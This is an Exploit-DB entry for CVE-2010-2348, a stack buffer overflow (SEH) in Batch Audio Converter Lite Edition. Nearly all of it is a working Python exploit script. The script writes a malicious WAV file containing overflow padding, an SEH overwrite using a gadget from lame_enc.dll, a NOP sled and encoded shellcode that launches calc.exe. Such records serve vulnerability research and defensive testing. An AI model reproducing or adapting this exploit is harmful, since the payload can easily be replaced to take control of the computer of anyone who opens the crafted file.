Batch Audio Converter Lite Edition <= 1.0.0.0 - Stack Buffer Overflow (SEH)



EDB-ID: 13909 CVE: 2010-2348 OSVDB-ID: 65639
Author: modpr0be Published: 2010-06-17 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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# Software Link:
http://www.freesoftwaretoolbox.com/files/batchaudio_setup.exe
# Tested on: Windows XP SP2
# Type of Vuln: SEH
# Code : bacon-exploit.py
# Greetz: Otoy, Postnix, Jasakom Community, Kilurah, Gesang, dan wedus-wedus
lainnya ^^
# Thanks: All OffSec member

#!/usr/bin/python

import struct

junk = "A" * 4132
nseh = "\xeb\x06\x90\x90"
seh = struct.pack('<L', 0x10029bb7) # pop edi pop esi ret from
lame_enc.dll
nop = "\x90" * 30
print "[+] Preparing for file.."
# windows/exec, CMD=calc.exe, EXITFUNC=seh
# 463 bytes, x86/alpha_mixed
shellcode = ("\x89\xe3\xdb\xc6\xd9\x73\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a"
"\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x49\x78\x4d\x59\x47\x70\x45\x50\x45\x50\x43\x50\x4c\x49"
"\x48\x65\x45\x61\x4e\x32\x42\x44\x4e\x6b\x50\x52\x44\x70\x4c"
"\x4b\x50\x52\x44\x4c\x4e\x6b\x42\x72\x45\x44\x4c\x4b\x43\x42"
"\x46\x48\x44\x4f\x4d\x67\x51\x5a\x46\x46\x44\x71\x4b\x4f\x44"
"\x71\x49\x50\x4e\x4c\x47\x4c\x51\x71\x51\x6c\x43\x32\x46\x4c"
"\x51\x30\x49\x51\x48\x4f\x46\x6d\x45\x51\x49\x57\x4d\x32\x48"
"\x70\x50\x52\x42\x77\x4c\x4b\x46\x32\x44\x50\x4c\x4b\x43\x72"
"\x47\x4c\x47\x71\x4e\x30\x4c\x4b\x47\x30\x51\x68\x4f\x75\x4f"
"\x30\x42\x54\x42\x6a\x46\x61\x4a\x70\x46\x30\x4c\x4b\x43\x78"
"\x46\x78\x4e\x6b\x43\x68\x47\x50\x45\x51\x4b\x63\x4b\x53\x47"
"\x4c\x47\x39\x4e\x6b\x47\x44\x4e\x6b\x46\x61\x48\x56\x50\x31"
"\x49\x6f\x50\x31\x4f\x30\x4c\x6c\x4b\x71\x4a\x6f\x44\x4d\x46"
"\x61\x48\x47\x46\x58\x4d\x30\x44\x35\x49\x64\x43\x33\x43\x4d"
"\x48\x78\x47\x4b\x51\x6d\x47\x54\x51\x65\x4b\x52\x43\x68\x4e"
"\x6b\x46\x38\x47\x54\x47\x71\x4e\x33\x43\x56\x4e\x6b\x46\x6c"
"\x50\x4b\x4c\x4b\x50\x58\x45\x4c\x46\x61\x4b\x63\x4e\x6b\x47"
"\x74\x4c\x4b\x43\x31\x4a\x70\x4c\x49\x42\x64\x44\x64\x46\x44"
"\x51\x4b\x51\x4b\x43\x51\x46\x39\x50\x5a\x42\x71\x4b\x4f\x4b"
"\x50\x46\x38\x51\x4f\x50\x5a\x4e\x6b\x45\x42\x48\x6b\x4c\x46"
"\x51\x4d\x51\x7a\x46\x61\x4c\x4d\x4f\x75\x4f\x49\x47\x70\x43"
"\x30\x43\x30\x46\x30\x42\x48\x50\x31\x4e\x6b\x50\x6f\x4d\x57"
"\x49\x6f\x4b\x65\x4f\x4b\x4b\x4e\x46\x6e\x50\x32\x49\x7a\x43"
"\x58\x4c\x66\x4f\x65\x4f\x4d\x4f\x6d\x4b\x4f\x48\x55\x47\x4c"
"\x47\x76\x51\x6c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x44\x35\x43"
"\x35\x4d\x6b\x47\x37\x45\x43\x42\x52\x50\x6f\x51\x7a\x45\x50"
"\x51\x43\x49\x6f\x4b\x65\x43\x53\x45\x31\x42\x4c\x43\x53\x46"
"\x4e\x45\x35\x51\x68\x42\x45\x43\x30\x45\x5a\x41\x41")

f = open('exploit.wav', 'w')
print "[+] Writing vulnerable WAV file.."
f.write(junk+nseh+seh+nop+shellcode)
f.close()
print "[+] Success writing file.."